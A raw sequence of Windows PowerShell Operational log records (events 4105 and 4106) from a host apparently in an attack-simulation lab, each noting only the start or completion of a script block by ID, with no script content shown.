ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049020
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049018
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049016
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049014
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049008
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049007
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049006
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049005
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049004
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049002
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049001
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048996
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048990
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048988
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048987
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048986
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048984
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048983
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048982
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048981
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048980
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048978
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048976
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048975
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048974
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048973
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048972
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048971
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048970
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048968
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048967
Keywords=None
